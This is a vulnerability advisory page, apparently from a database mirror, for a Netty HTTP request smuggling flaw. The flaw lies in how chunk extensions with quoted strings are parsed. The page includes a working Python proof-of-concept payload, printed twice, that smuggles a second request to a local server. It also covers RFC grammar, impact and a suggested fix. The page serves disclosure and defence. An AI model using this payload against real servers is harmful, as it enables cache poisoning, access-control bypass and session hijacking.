GHSA-PWQR-WMGM-9RR8

Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49
VLAI?
Summary
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.10.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:48:55Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "id": "GHSA-pwqr-wmgm-9rr8",
  "modified": "2026-03-27T21:49:43Z",
  "published": "2026-03-26T18:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…